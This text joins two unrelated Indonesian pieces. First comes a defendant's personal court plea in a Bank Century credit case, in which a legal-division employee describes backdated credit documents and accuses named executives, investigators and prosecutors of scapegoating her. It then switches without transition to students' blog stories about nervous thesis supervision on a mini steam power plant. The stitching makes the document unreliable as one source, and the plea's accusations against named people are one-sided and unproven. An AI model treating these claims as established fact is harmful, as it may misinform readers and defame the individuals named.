Saya tidak melihat adanya Analisa Aspek Legal yang dibuat oleh Ni Wayan Anik Parwati yang bertugas membuat Perjanjian Kredit. Tentang Surat Penegasan Kredit (SPK), Surat Kuasa Direksi (SK Dir) dan Surat Persetujuan Komisaris (SP Kom) atas nama debitur CMP dan WWR di buat belakangan dan dibubuhkan tanggal sebelum tanggal yang tercantum pada Perjanjian Kredit bukan dilakukan oleh saya tetapi oleh Dewi Ekowati staf administrasi divisi legal setelah memperoleh FPK yang telah disetujui Komite Kredit dari KPO Senayan. Saya membubuhkan paraf saya sebagai pemeriksa apakah yang dibuat oleh Dewi Ekowati, telah sesuai dengan syarat dan ketentuan yang dicantumkan dalam FPK. Penanggalan dan penomoran surat ketiga dokumen tersebut, adalah koordinasi antara Dewi Ekowati dengan staf di sekertariat direksi, karena sekertariat direksi yang mengadministrasikan nomor surat keluar dari direksi maupun komisaris, tanpa melalui saya. AII : Dalam hal pemberian fasilitas kredit AII, yang saya ketahui adalah instruksi dari Hermanus Hasan Muslim untuk melakukan pengikatan kredit melalui Terdakwa 1, yakni ketika itu (saya tidak ingat tanggalnya) beberapa hari sebelum pengikatan kredit atas nama AII, Terdakwa 1 sedang berada di area kerja Divisi Corporate Legal, kebetulan saya keluar ruang kerja untuk melakukan sesuatu hal lalu Terdakwa 1, mengatakan kepada saya : “Bu ada kredit yang musti segera diikat”. Lalu saya bertanya kepada Terdakwa 1 :”Kredit apa bu?”, dan dijawab oleh Terdakwa 1 dengan : “Atas nama Accent Bu”. Lalu saya berjalan kepada staf administrasi legal Dewi Ekowati, yang melakukan register atas order dari Cabang yang ada di wilayah 2 dan 3 Bank dan menanyakan :”Mana Wi, FPKnya” dijawab oleh yang bersangkutan sambil memeriksa buku registernya dengan jawaban : “Ooh sudah saya kasih ke Cici Nana Bu”. (Cici Nana adalah panggilan akrab staf di Divisi Corporate Legal untuk Suhana Halim). Selanjutnya yang saya ketahui pada tanggal 18 April 2008, Suhana Halim masuk ke ruangan saya dan mengatakan : “Bu nanti ibu tandatangan ya Bu, ada pengikatan kredit”. Dan saya bertanya kepada Suhana : “Pengikatan apa?” Dan dijawab olehnya : “Pengikatan Kredit atas nama Accent Bu”. Lalu dia meninggalkan ruangan saya. Dihadapan Buntario Tigris Darmawa Ng, SH, Notaris, penandatanganan kredit dilaksanakan, pada waktu saya diperkenalkan kepada Debitur oleh Terdakwa 1, Desi Damayanti – Direktur, Suhadi – Komisaris dan Stela – Finance Managernya.

Sebelum penandatanganan Notaris menanyakan SPK, SK Dir dan SPKom kepada Suhana Halim yang menyiapkan pengikatan kredit dan dijawab dengan : “Disusulkan pak”. Sebagaimana saya jelaskan di atas pada CMP dan WWR bahwa staf administrasi Divisi Corporate Legal yang membuat konsep SPK, SK Dir dan SP Kom adalah Dewi Ekowati dan untuk pengambilan nomor surat yang bersangkutan berkoordinasi dengan sekertariat direksi yang mengadministrasikan. Selanjutnya yang saya ketahui adalah pada tanggal 22 April 2008, Suhana Halim masuk ke ruangan saya dengan membawa MPFK atas nama AII, dengan dilampirkan dokumen sebagai berikut : 1. FPK yang sudah ditandatangani oleh Komite Kredit yang berwenang; 2. MPFK yang sudah ditandatangani oleh Terdakwa 1 pada kolom “disetujui” dan sudah ada tandatangan Suhana Halim pada kolom “diperiksa”. 3. Surat Keterangan bahwa Perjanjian Kredit a/n debitur AII telah ditandatangani – dari Buntario Tigris Darmawa Ng, SH Notaris 4. Surat PT Bank Century Tbk, Cabang KPO Senayan kepada PT Antaboga Delsta Sekuritas Indonesia tanggal 10 April 2008 nomor 733/C-SNY/KPO/ADSI/IV/08, perihal : Instruksi Blokir Saham. 5. Surat dari PT Kustodian Sentral Efek Indonesia (KSEI) kepada PT Antaboga Delta Sekuritas Indonesia tanggal 21 April 2008, nomor : KSEI-5002/JKS/0408, tentang Konfirmasi Pemblokiran Subrekening. Pertimbangan saya membubuhkan tandatangan saya pada MPFK saat itu adalah : 1. Ada perintah dari Hermanus Hasan Muslim, untuk melakukan pengikatan kredit melalui Terdakwa 1. 2. Sudah ada tandatangan Komite Kredit pada FPK. 3. Sudah ada tandatangan Terdakwa 1 pada MPFK dalam kolom “disetujui” 4. Sudah surat konfirmasi blokir saham dari KSEI. Tentang Surat Penegasan Kredit (SPK), Surat Kuasa Direksi (SK Dir) dan Surat Persetujuan Komisaris (SP Kom) atas nama debitur AIIdi buat belakangan dan dibubuhkan tanggal sebelum tanggal yang tercantum pada Perjanjian Kredit bukan dilakukan oleh saya tetapi oleh Dewi Ekowati staf administrasi divisi legal setelah memperoleh FPK yang telah disetujui Komite Kredit dari KPO Senayan. Saya membubuhkan paraf saya sebagai pemeriksa apakah yang dibuat oleh Dewi Ekowati, telah sesuai dengan syarat dan ketentuan yang dicantumkan dalam FPK. Penanggalan dan penomoran surat ketiga dokumen tersebut, adalah koordinasi antara Dewi Ekowati dengan staf di sekertariat direksi, karena sekertariat direksi yang mengadministrasikan nomor surat keluar dari direksi maupun komisaris, tanpa melalui saya. SCI Tanggal 14 Oktober 2008 menjelang maghrib, saya mendapat telpon dari Terdakwa 1 yang mengatakan bahwa ada kredit yang harus dicairkan hari itu juga bernama SCI. Lalu saya jawab dengan tidak bisa, lalu Terdakwa 1 mengatakan bahwa saya disuruh nelpon ibu sama Hermanus. Keesokan harinya ada konsep FPK atas nama SCI yang saya terima dari KPO Senayan, dan saya mendengar dari Terdakwa 1 bahwa atas SCI telah dilakukan pencairan kredit oleh Divisi SKPK pada tanggal 14 Oktober 2008. Dan Terdakwa 1 minta dibuatkan Perjanjian Kredit atas nama Debitur. Kemudian saya menanyakan kepada Senior Staf Divisi Legal bernama Ruhendi, siapa yang bisa membuatkan Perjanjian Kredit atas nama SCI yang katanya sudah dicairkan. Atas pertanyaan tersebut Ruhendi mengecek ke buku registrasi pembagian tugas dan mengatakan yang bisa bantu adalah saksi Susiati. Setelah melakukan pengecekan dokumen saksi Susiati mengatakan bahwa ia tidak melakukan Analisa Aspek Legal karena fotocopy dokumen SCI menurutnya tidak lengkap dan belum ada perubahan anggaran dasar yang disesuaikan dengan Undang Undang no. 40 tahun 2007 tentang Perseroan Terbatas. Dan saya menganjurkan saksi Susiati agar Cabang KPO Senayan melengkapinya. Setelah itu saya tidak mengikuti proses selanjutnya sampai Terdakwa 1 beberapa hari kemudian menyampaikan informasi melalui saksi Nofi bahwa jaminan berupa Deposito yang dijaminkan SCI akan diubah dengan sebagian deposito dan sebagian saham. Lalu saya sampaikan bahwa, saya tunggu FPK yang sudah disetujui saja. Informasi ini kemudian berubah-ubah dikarenakan menurut Terdakwa 1, Hermanus Hasan Muslim menginstruksikan Terdakwa 1 untuk membuat beberapa tahapan perubahan jaminan yang diserahkan oleh SCI dalam satu FPK saja. Berdasarkan hal itu saksi Susiati beberapa kali diminta untuk membuat Perjanjian Kredit oleh KPO Senayan dengan melampiri draft FPK yang berisi perubahan-perubahan jaminan sebagaimana diminta dibuatkan oleh Cabang KPO Senayan. Namun perjanjian kredit tersebut belum diketik nomor dan tanggal perjanjian sampai PT Bank Century tbk, diambil oleh LPS pada tanggal 21 November 2008. Demikian pula halnya dengan SPK, SK Dir dan SP Kom SCI yang tidak pernah ditandatangani konsepnya, karena PT Bank Century Tbk diambil alih LPS. Pada tanggal 14 Oktober 2008, saya tidak menandatangani MPFK atas nama SCI dimana dana fasilitas kredit atas nama SCI menurut informasi dicairkan oleh SKPK ke dalam rekening SCI – hal ini ternyata dari bukti dokumen yang disita dari saksi Donny Yudha yang tidak dihadirkan dalam persidangan oleh JPU. Kredit Komando Dalam literatur manapun baik di dalam peraturan Bank Indonesia maupun Kebijkan Perkreditan Bank tidak pernah ditemukan definisi Kredit Komando. Namun pada praktek perbankan dimanapun saya yakin, Kredit Komando ini ada dan dipraktekan. Yang dimaksud dengan kredit komando dalam praktek perbankan ini adalah fasilitas kredit yang diberikan berdasarkan inisiatif atau instruksi Direksi dan atau Pemegang Saham Bank, bukan berasal dari kredit yang murni proses pengajuannya datang dari Cabang dikarenakan ada Debitur yang mohon fasilitas kredit. Pada Kredit Komando prosedur yang dijalankan tidak ada beda dengan proses kredit dari bank yang bersangkutan KECUALI ada instruksi bahwa Kredit tersebut harus segera dibuat persetujuannya tanpa melakukan survey kelayakan atas calon debitur atau ada instruksi untuk dibuatkan pengikatan kredit dengan segera atau ada instruksi untuk melakukan pencairan kredit dengan segera atau ada instruksi untuk menyusulkan dokumen-dokumen kredit belakangan atau dan lain-lain. Dalam perkara 4 kredit ini CMP, WWR, AII dan SCI yang kesemuanya adalah Kredit Komando, saya dan teman-teman lainnya yang dijadikan tersangka dalam perkara ini merasa terpukul dan tertekan. Saya sendiri merasa di zholimi bukan saja oleh saksi Hermanus dan saksi Robert Tantular yang tidak mau mengakui perbuatannya dan mencari kambing hitam saya dan teman-teman senasib, tetapi juga oleh institusi Bank Indonesia, Bareskrim dan Kejaksaan Agung qq Kejaksaan Negeri Jakarta Pusat yang memeriksa perkara 4 kredit ini. Mengapa seorang saksi Hermanus dan saksi Robert Tantular dihukum atas 3 kredit WWR-AII-SCI, sedangkan saya dituntut 10 tahun penjara ditambah denda Rp. 10.000.000.000,-(sepuluh milyar Rupiah) subsider 6 bulan kurungan atas perkara 4 kredit. Pada kenyataannya kredit atas nama CMP telah dinyatakan lunas. Tuntutan Jaksa Penuntut Umum (JPU) : Dalam tuntutan JPU, disebutkan bahwa saya secara terbukti secara sah dan meyakinkan terbukti melakukan Tindak Pidana Pebankan yaitu Pegawai bank dengan sengaja menyebabkan adanya pencatatan palsu dalam dokumen suatu Bank atau Laporan Transaksi dst ….. (pada butir 1 halaman 105 Surat Tuntutan) dan Menjatuhkan pidana terhadap Terdaksa 1 dan Terdakwa 2 dengan dengan pidana penjara masing-masing 10(sepuluh) tahun penjara dengan perintah agar mereka Terdakwa segera ditahan dan denda masing-masing sebesar Rp. 10.000.000.000,- (sepuluh milyar) subsidair 6(enam) bulan kurungan (butir 2 halaman 105 Surat Tuntutan) menurut saya sungguh suatu kesalahan yang besar dengan menzholimi saya. Saya yakin JPU mendapatkan tekanan atau pesan dari pihak-pihak tertentu karena untuk kasus PT Bank Century Tbk, harus ada kambing hitam yang diajukan sebagai PENGALIHAN dari 2(dua) masalah mendasar yang terjadi, yakni : 1. Mengecilkan kesalahan Hermanus Hasan Muslim dan Robert Tantular dengan membagi potongan kuenya kepada para pegawai bank yang bekerja dengan sungguh-sungguh karena membutuhkan pekerjaan namun bekerja dibawah tekanan dan ketakutan akan kehilangan pekerjaannya (khusus untuk saya, karena saya maupun suami pernah merasakan menjadi seorang pengangguran). 2. Masalah pencairan atas dana LPS sebesar Rp. 6,7 Triliun, yang sampai saat ini masih menjadi polemik di negara ini sehingga hal ini membuat tekanan politik tertentu bagi pihak-pihak yang berkepentingan. Tuntutan Hukum ini hanya melemparkan BOLA PANAS kepada Majelis Hakim agar bukan pihak kejaksaan lagi yang memegangnya, sama halnya seperti yang dilakukan oleh Bareskrim dengan melemparkan bola panas ini kepada Kejaksaan Agung sebagaimana ucapan yang disampaikan oleh Muhamad Huda penyidik di ruang perbankan : “Kalau saja Robert Tantular mau mengakui perbuatannya, ibu-ibu dua ini kan gak perlu kami naikkan statusnya jadi Tersangka”. Sungguh suatu pukulan bagi saya khususnya dan teman-teman yang dijadikan pesakitan dengan dijadikan Tersangka oleh Bareskrim, padahal mereka mengetahui siapa yang harus bertanggung jawab untuk perkara 4 kredit ini dan perkara-perkara lainnya yang masih dalam pemeriksaan Bareskrim. Bahkan salah satu penyidik di Bareskrim, Robertus Sulistyawan pernah berucap kepada saya, ketika saya ingin menyampaikan bukti dan keberatan saya ketika diperiksa di masalah LC : “Ibu, buktinya dibawa saja bu nanti disana, saya nanti disalahkan”. Saya tidak dapat mengerti mengapa seorang “penyidik” yang harusnya independen dapat berkata demikian. Lalu siapakah yang akan menyalahkan mereka kalau bukan sudah ada instruksi untuk menentukan orang-orang yang akan dijadikan pesakitan dalam kasus-kasus PT Bank Century Tbk. Siapa lagi kalau bukan para pegawai PT Bank Century Tbk, seperti saya. Sungguh suatu penzholiman. Siapakah sebenarnya harus dimintai pertanggung jawab atas perkara ini : 1. Hermanus Hasan Muslim dan Rober Tantular adalah Pihak yang harus bertanggung jawab atas perkara ini, karena semua kredit ini belakangan saya ketahui adalah untuk kepentingannya. Hal ini jelas disampaikan oleh Terdakwa 1 dalam keterangannya dihadapan kita semua dalam persidangan terdahulu. Saya tidak habis pikir mengapa saya dan Terdakwa 1 dituntut dengan tuntutan yang jauh lebih besar daripada tuntutan Hermanus Hasan Muslim dan Rebert Tantular dalam tingkat Pengadilan Negeri. Adakah markus dibalik semua ini. Wallahualam hanya Allah swt yang mengetahuinya. 2. Darso Wijaya, mantan direktur di Bank Pikoo seorang yang sengaja mengelak dengan mengatakan bahwa dirinya adalah staf ahli direksi yang diserahi tugas menjadi Care Taker Kepala Divisi SKPK dengan mengatakan bahwa Terdakwa 1 dan Terdakwa 2 melakukan persengkongkolan untuk menipu SKPK. Suatu hal yang harus dibuktikan, karena sistem sudah diatur sedemikian rupa sehingga katanya yang harus bertanggung jawab atas pencairan adalah saksi Yakobus, padahal jelas dalam usulan User IT, Darso Wijaya adalah orang yang mengusulkan agar Yakobus Triguna dapat memperoleh password untuk mencairkan kredit sampai dengan jumlah Rp. 300.000.000.000,- (tiga ratus milyar Rupiah) dengan “single entry” tanpa melibatkan checker atau counter password seperti lazimnya pada suatu struktur organisasi yang diberi kewenangan berjenjang. Dalam kesaksiannya Darso Wijaya mengatakan bahwa statusnya bukan menjadi seorang Tersangka di perkara 4 kredit ini, padahal panggilan sebagai tersangka pernah dilayangkan oleh pihak Bareskrim kepadanya. Darso Wijaya adalah orang yang ditunjuk oleh Hermanus Hasan Muslim dalam menemui pengawas Bank Indonesia, dengan alasan bahwa semua informasi dan dokumen yang akan dipinjam oleh pengawas Bank Indonesia “harus melalui 1 pintu”. 3. Pengawas Bank Indonesia yang harus bertanggung jawab atas disetujuinya merger PT Bank Century Tbk, yang mengetahui persoalan permodalan PT Bank Century Tbk yang diketahui sejak awal sudah tidak layak untuk di merger dengan dua bank lainnya, PT Bank Dancpac dan PT Bank Pikko. Mohon putusan yang seadil-adilnya. Dengan bergulirnya bola panas tuntutan kepada Yang Mulia Majelis Hakim, saya mohon agar yang mulia Majelis Hakim dapat memutuskan perkara 4 kredit di persidangan ini dengan putusan bebas dari tuntutan hukum dan hukuman. Karena saya percaya, bahwa yang mulia Majelis Hakim akan memperhatikan bukan Surat Tuntutan yang isinya menurut saya tidak tepat dan tidak memperhatikan pada fakta-fakta yang ada persidangan. Saya yakin seyakin yakinnya bahwa Yang Mulia Majelis Hakim akan memutuskan perkara ini dengan seadil-adilnya dan Yang Mulia Majelis Hakim mempunyai hati nurani dan akan melihat permasalahan ini dengan kepala dingin dan hati nurani serta secara obyektif tanpa tekanan dari pihak manapun yang berkepentingan. Perkara 4 kredit ini diajukan karena banyak pihak yang melihat permasalah PT Bank Century Tbk dari angle yang salah dan lebih pada kepentingan bahwa perlunya laporan kepada masyarakat luas bahwa ada pegawai-pegawai bank yang telah di gelandang ke meja hijau untuk kasus PT Bank Century Tbk, yang selama 2 tahun ini gaungnya telah menggema diseluruh negeri ini, terlebih lagi ketika Pansus Century bergaung di gedung Dewan Pewakilan Rakyat (DPR). Saya yakin yang diminta dibuka secara terang benderang adalah masalah pencairan Rp. 6.7 Triliun. Dan apabila ada kerugian yang disebabkan oleh ulah dari Robert Tantular dan Hermanus Hasan Muslim, apakah seorang pegawai bank, walaupun dalam pasal 49 Undang Undang Perbankan kategori pegawai disebutkan dalam pasal tersebut, apakah mungkin ada beberapa orang yang dijadikan “tersangka” dalam kasus PT Bank Century Tbk, adalah orang yang dengan sengaja melakukan tindak pidana perbankan apalagi dikaitkan dengan pasal penyertaan dalam KUHP. Sungguh hal ini harus menjadi pertimbangan dari Yang Mulia Majelis Hakim, dimana pegawai bank yang dimaksud dalam pengertian tersebut adalah orang yang melakukan fraud. Saya hanya pegawai bank yang sudah “dipola” atau “dipetakan” untuk dikorbankan. Apalagi tidak ada analisa risk management, KYC (know your customer) yang dilibatkan di awal pemberikan kredit dan dengan tidak pernah ada temuan dari Satuan Kerja Audit Intern di PT Bank Century Tbk – apakah pegawai bank yang melakukan pembiaran dengan alasan yang sama yakni ketakutan dan dibawah tekaan tidak dimintakan pertanggung jawabannya ? Lalu bagaimana dengan nasib ketiga putri saya yang masih dalam usia sekolah, yang terkecil masih berusia 5 tahun duduk di kelas B (nol besar) di Taman Kanak-Kanak, yang kedua masih berusia 8 tahun duduk di kelas 3 Sekolah Dasar, dan yang paling tua berusia 19 tahun duduk di bangku kuliah dan telah membawa harum nama Indonesia sebagai duta bangsa di forum Global Changemaker di Inggris.

Yang Mulia Majelis Hakim Saya yakin bahwa Allah swt tak penah lalai dan tertidur dalam menjaga umatnya dan pengadilan Nya lah adalah pengadilan yang seadil-adilnya. Oleh karenanya saya yakin sebagai sesama muslim, Yang Mulia Ketua Majelis Hakim akan memberikan putusan bebas, karena saya yakin Yang Mulia Ketua Majelis Hakim dan para anggota Majelis Hakim adalah orang-orang yang tidak akan berada dalam suatu pengaruh maupun tekanan dari pihak manapun. Insya Allah kebaikan akan bersama Yang Mulia Ketua Majelis Hakim dan para anggotanya. Aamiin Ya Robbal Alamiin. Demikian Pledoi Pribadi ini saya sampaikan, agar duduk perkaranya menjadi jelas dan untuk dipergunakan oleh Yang Mulia Majelis Hakim dalam pertimbangannya menyiapkan putusan bebas dari tuntutan hukum dan hukuman atas diri saya. Wassalamu alaikum warrahmatulhi wabarakatuh.

Ketakutan Ketemu Dosen

Ini ceritanya Marjo dan Wawan. Keduanya mahasiswa Tugas Akhir Skripsi saat ini di Dep Teknik Mesin FTUI.

***

THE MASSIVE: JANGAN MENYERAH

Nama saya Marjo, saya adalah salah satu mahasiswa Program Pendidikan Sarjana Ekstensi (PPSE) departemen teknik mesin Universitas Indonesia angkatan 2008. Saya mengenal Prof.Raldi AK dari seorang mahasiswa S3 yaitu Dr. Harun Al Rosyid. Tapi tidak hanya beliau yang bertanggungjawab dalam hal perkenalan saya dengan Prof Raldi, melainkan ada dua nama lagi yaitu Dr. Nasrudin dan Hilman Alfian ST.

awal cerita saya diberitahu oleh rekan saya yaitu saudara Hilman bahwa Dr. Nasrudin membutuhkan beberapa mahasiswa untuk membantu penelitian mahasiswa S3, dalam hal ini adalah penelitian yang sedang dilakukan oleh Pak Harun untuk mendapatkan gelar Doktor. Setelah mendapatkan izin dari orang tua, maka saya dan saudara Wawan Mardiyanto mendaftarkan diri dan langsung diterima tanpa ada tes tulis maupun wawancara. Sejak saat itu kami berdua resmi membantu pak Harun. Karena pak Harun juga sedang menjalani bimbingan dengan Prof Raldi, maka secara garis komando saya juga termasuk mahasiswa yang dibimbing oleh prof Raldi meskipun saat itu tugas saya hanya membantu pak Harun.
Interaksi pertama saya dengan prof Raldi adalah pada saat presentasi progress penelitian pak Harun, pada saat itu saya dan Wawan diminta menjelaskan progress mengenai rencana operasi lab PLTU mini yang berada di DTM. Sebagai mahasiswa tentu perasaan cemas, takut dan deg-degan tidak bisa saya hindari. Apa lagi ini adalah presentasi pertama saya di hadapan Prof Raldi. Jika mencari kiasan, maka saya akan ambil suara bedug malam lebaran, begitulah suasana yang terjadi di dalam dada saya. Suara gemetar tidak bisa saya sembunyikan.
Dalam beberapa kesempatan saya di ajak pak Harun untuk ikut serta menghadap prof Raldi di ruanganya. Kesan yang saya dapat jika berada di ruangan prof Raldi adalah horor, suasananya tidak jauh berbeda seperti waktu pertama kali saya belajar duck dive di laut pulau pramuka. Perasaan horor takut tiba-tiba ada piranha, takut tiba-tiba ada hiu dan ketakutan lain yang muncul ketika pertama kali berada di laut. Setiap kali pertemuan dengan prof Raldi, saya memposisikan diri diam tanpa bicara kecuali jika ditanya, dan saya yakin jawaban saya sangat tidak bermutu. Mungkin kecemasan saya ini tergolong stadium tiga, tapi apa mau dikata, ini adalah pengalaman yang luar bisa bagi saya berada diantara Professor dan calon Doktor yang sedang berdiskusi. Maka saya berfikir siapalah bocah PPSE ini.
Dua semester berlalu, dan tiba saatnya pak Harun untuk sidang Doktoral. Saya diminta membantu menyiapkan segala urusan yang berkaitan dengan sidang. Dan pengalaman yang tidak terlupakan dari persiapan itu adalah saya diminta menjemput Prof.Dr.Peng.A.Mohamad dari University of Calgary Canada di peninsula. Dengan modal informasi nama dan lokasi hotel, saya datang ke peninsula. Saya tidak tahu bagaimana wajah dari si professor ini, saya hanya diberi nama. Saya duduk di loby hotel, setiap ada mobil berhenti dan yang turun orang bule, maka saya pasang mata elang. Kejadian ini berulang-ulang sampai 4 kali. Tiba-tiba Wawan memberi ide brilliant mengetik nama si professor di google, maka muncullah beberapa photo. Sialnya Hp si Wawan bukan keluaran terbaru, jadi photo orang di layar kelihatan buram. Lengkap sudahlah penderitaan di penin sula. Saya telfon pak Harun menanyakan ciri-ciri perawakan dari si professor. Sekarang ciri-ciri fisik sudah saya tulis di note. Saatnya menunggu bule turun dari mobil, setengah jam berlalu dan tidak ada bule yang masuk hotel. Saya datangi meja recepsionist hotel meminta sedikit pertolongan. Sedang asik berbincang, muncul seorang bule. Si bule ini menyebutkan namanya dan menanyakan kamar yang sudah dipesan. Wah ini dia orang yang dicari, dengan modal bahasa inggris taman kanak-kanak saya beranikan menyapa beliau. Akhirnya target berhasil ditemukan dan suasana menjadi lega kembali. Saya ajak beliau duduk di loby. Kata pertama yang beliau ucapkan adalah “hot”. Oh iya mister, Jakarta emang hot.
Akhirnya pak Harun dinyatakan lulus dan resmi menyandang gelar Doktor. Sekarang giliran saya yang menjalani bimbingan dengan prof Raldi. Suasana hati kembali bergejolak, perasaan deg-degan tidak bisa dilenyapkan setiap kali bertemu dengan beliau. Saya ingin mengenal lebih dalam tentang beliau, tapi apa daya, keberanian selalu diam diparkiran setiap kali berada di kampus. Saya paksakan berkali-kali tapi tetap saja grogi. Saya teringat lagu “jangan menyerah” the massive. Ah tapi tetep aja deg-degan.
Suatu ketika dimeja beliau saya melihat ada buku bersampul warna kuning dengan judul “buku dua dekade”. Tring…tiba-tiba saya menemukan ide. Saya harus baca buku itu. Niat awalnya ingin pinjem, tapi tidak berani. Akhirnya saya temukan di blog beliau. Saya download dan mulai membacanya. Meskipun belum semua saya baca, tapi buku itu sudah menyelamatkan saya dari perasaan deg-degan yang berlebihan. Saya belum bisa bilang kalau perasaan itu sudah hilang, tapi setidaknya sekarang sudah berkurang dan keberanian untuk belajar dari beliau sudah muncul.
Proses bimbingan terus berlanjut dari minggu ke minggu. Berkat kesabaran beliau saya mulai memahami sedikit demi sedikit tentang PLTU. Satu hal yang selalu beliau tekankan adalah kita harus mengerti dan paham tentang masalah yang sedang dihadapi. Memang ada beberapa kendala ketika dunia buku dibawa kedalam kenyataan. Maka tidak heran jika untuk mengeplot diagram T-S saja saya membutuhkan waktu 4 minggu. Kendala yang dihadapi adalah dari titik pengukuran yang sesuai dengan diagram. Secara teori saya sedikit paham, tapi begitu mendapat data operasi dari lab PLTU mulai timbul permasalahan. Ada Sembilan titik pengukuran tekanan dan Sembilan titik pengukuran temperature. Saya jadi linglung titik mana yang harus dipakai untuk menggambar diagram T-S. Baru disuruh menggambar saja saya sudah bingung, apalagi nanti disuruh menghitung. Waduh lagu the massive terngiang kembali.
Datang lagi, salah lagi, bingung lagi. Kemudian datang lagi, salah lagi dan bingung lagi. Ini bimbingan terdahsyat yang pernah saya alami. Setelah menjalani 4 minggu akhirnya sekarang sudah mulai ada titik terang. Prof Raldi selalu memberi semangat untuk terus belajar. Soal dimarahin itu sudah resiko. Anggap saja ini sedang DIKLAT SAR atau LDK yang tentunya memiliki tujuan postif dan berguna dalam hidup saya ke depan.
Meskipun saya cenderung lambat dalam pergerakan, tapi beliau selalu sabar sedikit demi sedikit mengarahkan dan menjelaskan. Diskusi mengenai diagram T-S, P-h dan h-S sudah ada kemajuan. Tapi ini baru permulaan, katakanlah ini baru tes pendahuluan saja. Masih ada inti permasalahan yang harus di diskusikan dengan beliau. Semangat harus tetap membara, harapan harus tetap ada karena ridho guru adalah yang utama.
Ini sekedar tulisan, hanya ingin sharing tentang pengalaman. Jika kurang berkenan mohon dimaafkan. Scripta manent verba volant (Leo Tolstoy).

Depok 05 Feb 11
Marjo

——————————————————-

Selingan video, kelas KKE 2011

——————————————————-

GAK PENTING LULUS YG PENTING NGERTI

Oleh: Wawan

Pada awalnya saya bertemu dengan Pak Harun, beliau merupakan salah satu mahasiswa S3 di UI lewat perantara Pak Nasrudin. Bersama teman saya Marjo, kami diminta untuk membantu Pak Harun dalam penelitian tentang PLTU mini yang dimiliki oleh Departemen Teknik Mesin UI. Meskipun pada akhirnya semua yang kami lakukan ternyata bukan sepenuhnya untuk penelitian Pak Harun tetapi untuk penelitian kami sendiri.
Perkenalan dengan Pak Nasrudin dimulai dari marjo yang tiba-tiba mengajak saya untuk bertemu dengan beliau untuk urusan tugas akhir. Tanpa berpikir panjang dan tidak tahu tugas akhir apa yang nanti akan diberikan kami langsung berangkat. Sampai diruangan dosen saya bertemu Pak Nasrudin, kemudian marjo memperkenalkan saya kepada beliau. Sambil bersalaman dengan saya beliau mengatakan “Selamat Bergabung”, tetapi saya berbicara dalam hati “bergabung???, bilang iya aja belum”. Mungkin saya sudah “kecemplung” dan tingggal satu cara untuk bertahan yaitu berenang, beruntung materi tugas akhirnya tentang PLTU yang sesuai dengan minat saya.
Pertemuan tersebut kemudian berlanjut hingga pada akhirnya kami dapat mengoperasikan PLTU dan sudah mulai untuk mengambil data untuk penelitian. Setelah sebelumnya kami telah melakukan beberapa perbaikan pada PLTU tersebut, dari mulai membersihkan sampai mengganti dan menambahkan beberapa komponen dari PLTU. Ada pengalaman menarik saat kami harus melakukan perbaikkan pada tangki kondensat dengan cara hot deep yaitu proses pelapisan dengan menggunakan logam. Untuk melakukan hal tersebut kami harus membawa tangki tersebut kesebuah tempat didekat terminal pasar senen. Dimulai dengan melepaskan mur dan baut yang terpasang pada tangki kemudian mengangkatnya keluar. Massa dari tangki tersebut yaitu 60 kg, lumayan berat tetapi kami yakin akan lebih berat lagi mengingat perjalanan yang cukup jauh. Kami berencana membawanya dengan menggunakan bis, karena keterbatasan alat transportasi dan dana pastinya.
Dari lab, kami membawa tangki tersebut dengan menggunakan lori menuju halte teknik kemudian menaiki bis kuning. Didalam bis tampak mahasiswa lain melihat kami dengan tatapan aneh, mungkin mereka berpikir “ngapain nih orang bawa tempat sampah?” karena bentuknya yang memang mirip ditambah lagi dengan warnanya yang kuning. Setelah itu kami berganti bis dengan jurusan senen yang tampak penuh sesak ditambah dengan seorang pengamen.
Tibanya di senen kami menggotong tangki seberat 60kg tersebut kesebuah perkampungan didalam gang yang sempit, jaraknya sekitar 100m dari pinggir jalan, lumayan jauh. Untung saja kami sudah melakukan survey terlebih dahulu, jadi kami lebih siap secara fisik dan mental. Tetapi tidak dikira akan seberat ini menggotongnya, baru setengah perjalanan keringat sudah menetes, tangan sudah gemetaran dan mati rasa. Memang sulit sekali mencari pegangan yang pas untuk menggotong tangki ini. Setelah beberapa kali istirahat sejenak akhirnya kami sampai dilokasi.
Setelah bernegosiasi harga dengan pemilik toko, kemudian ia bertanya “Mas, tadi tuh barang dibawa kesini pake apa?” lalu kami menjawab “ digotong pak”. Sambil tertawa dia komentar “ kenapa ga pake lori saya aja mas?” dengan ketawa yang lebih keras saya berkata “Siaaaal…..”
Setelah beberapa hari, tangki pun sudah jadi dan siap untuk diambil. Kami tidak melakukan kesalahan yang sama dua kali, akhirnya kami memakai lori dan diantarkan oleh kuli juga. Dengan menaiki bis jurusan depok akhirnya kami sampai dihalte dekat makara UI, melihat jembatan penyeberangan merupakan satu satunya jalan menuju halte bis kuning kami jadi ragu menaikinya. Dengan bermodal 20ribu kami lalu menggunakan taksi dan tibalah kami di lab, akhirnya…..
Setelah data dianggap cukup, kami harus mempresentasikan hasil kerja kami kepada seorang dosen, bukan kepada Pak Nasrudin tetapi kepada Prof. Raldi Artono Koestoer. Itu merupakan awal pertemuan dengan dosen pembimbing kami. Kesan pertama yang saya dapat dari pertemuan tersebut adalah “tegang” tetapi sedikit lebih rendah levelnya dibandingkan “horor” karena saya melakukan presentasi didepan professor yang belum saya kenal sebelumnya dan beserta handycam yang selalu dibawanya. Walaupun kami sering melakukan presentasi dikelas sebelumnya, entah mengapa yang ini berbeda.
Pertemuan tersebut mengawali pertemuan-pertemuan kami selanjutnya tetapi tidak merubah rasa “tegang”. Prof. Raldi merupakan orang yang sedikit sekali berbicara, tampaknya beliau lebih senang mendengarkan orang lain berbicara. Hal tersebut membuat kami harus lebih banyak berimprovisasi untuk mencairkan suasana. Tetapi ada hal unik dari beberapa kali kami presentasi, beliau dua kali saya catat sedang memejamkan matanya. Entah sedang mengantuk atau memang presentasi kami yang benar-benar membosankan. Kadang juga sering seperti diacuhkan, mungkin beliau sudah tahu apa yang akan kami bicarakan.
Buat saya, pertemuan dengan beliau serasa sedang mengahadapi ujian prasidang. Beliau banyak mengajukan pertanyaan yang membuat kami sampai pada suatu titik dimana kami sudah tidak bisa lagi menjawab pertanyaan tersebut. Yang paling memusingkan adalah beliau tidak akan memberikan jawabannya tetapi beliau hanya akan mengarahkan saja dan kami sendiri yang harus mencari tahu jawabannya. Tetapi saya senang dengan hal itu karena membuat kami lebih siap untuk menghadapi pertanyaan-pertanyaan pada saat sidang nanti.
